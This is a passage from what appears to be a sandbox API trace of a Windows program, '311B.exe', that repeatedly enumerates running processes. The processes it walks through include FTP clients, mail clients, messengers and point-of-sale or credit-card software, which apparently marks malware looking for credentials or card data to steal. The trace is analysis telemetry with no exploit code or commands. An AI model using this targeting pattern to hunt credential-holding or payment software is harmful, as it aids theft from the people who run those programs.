rather.exe")) returned 1 [0226.809] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0226.810] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0226.812] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0226.814] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0226.816] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0226.817] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0226.818] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0226.820] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0226.821] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0226.822] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0226.824] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0226.825] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0226.864] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0226.866] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0226.868] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0226.870] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0226.872] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0226.874] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0226.876] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0226.877] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0226.879] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0226.881] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0226.883] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0226.884] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0226.886] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0226.888] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0226.889] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0226.891] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0226.893] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0226.894] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0226.945] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0226.947] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0226.949] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0226.951] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0226.952] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0226.954] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0226.955] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0226.957] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0226.958] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0226.960] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0226.962] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0226.963] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0226.965] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0226.966] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0226.968] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0226.969] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0226.971] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0226.973] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0226.974] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0226.976] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0226.977] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0226.979] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0226.980] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0226.982] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0226.984] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0226.985] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.987] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.038] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0227.039] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0227.041] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0227.042] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0227.044] CloseHandle (hObject=0x15f0) returned 1 [0227.044] Sleep (dwMilliseconds=0x64) [0227.088] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0227.098] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.100] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0227.101] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0227.103] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.104] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0227.106] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.107] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0227.109] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0227.110] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0227.112] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.162] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.163] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.165] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.166] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.168] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.169] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.171] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.172] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.173] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.175] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.176] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0227.178] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0227.179] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, 